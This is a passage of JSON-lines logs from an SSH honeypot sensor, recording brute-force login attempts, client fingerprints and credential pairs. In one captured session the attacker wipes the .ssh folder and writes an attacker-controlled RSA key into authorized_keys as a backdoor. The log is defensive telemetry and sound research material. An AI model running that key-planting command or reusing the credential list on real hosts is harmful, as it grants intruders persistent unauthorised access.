.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:41.450300Z","src_ip":"103.107.60.45","session":"5d060ccfb259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sandeep","password":"sandeep","message":"login attempt [sandeep/sandeep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:42.347260Z","src_ip":"103.107.60.45","session":"5d060ccfb259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:43.565534Z","src_ip":"103.107.60.45","session":"5d060ccfb259","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":36694,"dst_ip":"10.17.0.5","dst_port":22,"session":"21803ad1a2da","protocol":"ssh","message":"New connection: 85.11.167.46:36694 (10.17.0.5:22) [session: 21803ad1a2da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:56.103878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:56.114256Z","src_ip":"85.11.167.46","session":"21803ad1a2da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:56.199366Z","src_ip":"85.11.167.46","session":"21803ad1a2da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:56.452659Z","src_ip":"85.11.167.46","session":"21803ad1a2da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:57.547470Z","src_ip":"85.11.167.46","session":"21803ad1a2da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":60362,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef427c086daa","protocol":"ssh","message":"New connection: 203.161.39.233:60362 (159.203.135.109:22) [session: ef427c086daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:59.177004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:59.181682Z","src_ip":"203.161.39.233","session":"ef427c086daa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:59.251485Z","src_ip":"203.161.39.233","session":"ef427c086daa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:59.561349Z","src_ip":"203.161.39.233","session":"ef427c086daa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:59.746162Z","src_ip":"203.161.39.233","session":"ef427c086daa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:59.749466Z","src_ip":"203.161.39.233","session":"ef427c086daa","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:59.753157Z","src_ip":"203.161.39.233","session":"ef427c086daa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:59.891988Z","src_ip":"203.161.39.233","session":"ef427c086daa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:00.040925Z","src_ip":"203.161.39.233","session":"ef427c086daa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:00.045803Z","src_ip":"203.161.39.233","session":"ef427c086daa","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:00.123910Z","src_ip":"203.161.39.233","session":"ef427c086daa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:00.128613Z","src_ip":"203.161.39.233","session":"ef427c086daa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":60376,"dst_ip":"159.203.135.109","dst_port":22,"session":"824eeda25b99","protocol":"ssh","message":"New connection: 203.161.39.233:60376 (159.203.135.109:22) [session: 824eeda25b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:00.190426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:00.195672Z","src_ip":"203.161.39.233","session":"824eeda25b99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:00.267210Z","src_ip":"203.161.39.233","session":"824eeda25b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:00.579573Z","src_ip":"203.161.39.233","session":"824eeda25b99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:01.656020Z","src_ip":"203.161.39.233","session":"824eeda25b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":60390,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d5408e633bd","protocol":"ssh","message":"New connection: 203.161.39.233:60390 (159.203.135.109:22) [session: 6d5408e633bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:01.722414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:01.727757Z","src_ip":"203.161.39.233","session":"6d5408e633bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:01.798678Z","src_ip":"203.161.39.233","session":"6d5408e633bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:02.115002Z","src_ip":"203.161.39.233","session":"6d5408e633bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:02.191930Z","src_ip":"203.161.39.233","session":"ef427c086daa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:02.200635Z","src_ip":"203.161.39.233","session":"6d5408e633bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":47934,"dst_ip":"159.203.135.109","dst_port":22,"session":"39218ca112ca","protocol":"ssh","message":"New connection: 190.129.122.185:47934 (159.203.135.109:22) [session: 39218ca112ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:04.763268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:04.769422Z","src_ip":"190.129.122.185","session":"39218ca112ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:04.930634Z","src_ip":"190.129.122.185","session":"39218ca112ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ucloud.cn","message":"login attempt [root/ucloud.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:05.607042Z","src_ip":"190.129.122.185","session":"39218ca112ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:06.772827Z","src_ip":"190.129.122.185","session":"39218ca112ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":52240,"dst_ip":"10.17.0.5","dst_port":22,"session":"7490b19a20f9","protocol":"ssh","message":"New connection: 109.172.54.111:52240 (10.17.0.5:22) [session: 7490b19a20f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:32.067115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:32.071998Z","src_ip":"109.172.54.111","session":"7490b19a20f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:32.177540Z","src_ip":"109.172.54.111","session":"7490b19a20f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23101991","message":"login attempt [root/23101991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:32.479469Z","src_ip":"109.172.54.111","session":"7490b19a20f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:58:33.581606Z","src_ip":"109.172.54.111","session":"7490b19a20f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":52578,"dst_ip":"10.17.0.5","dst_port":22,"session":"099e78d41255","protocol":"ssh","message":"New connection: 103.107.60.45:52578 (10.17.0.5:22) [session: 099e78d41255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:20.394439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:20.399435Z","src_ip":"103.107.60.45","session":"099e78d41255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":["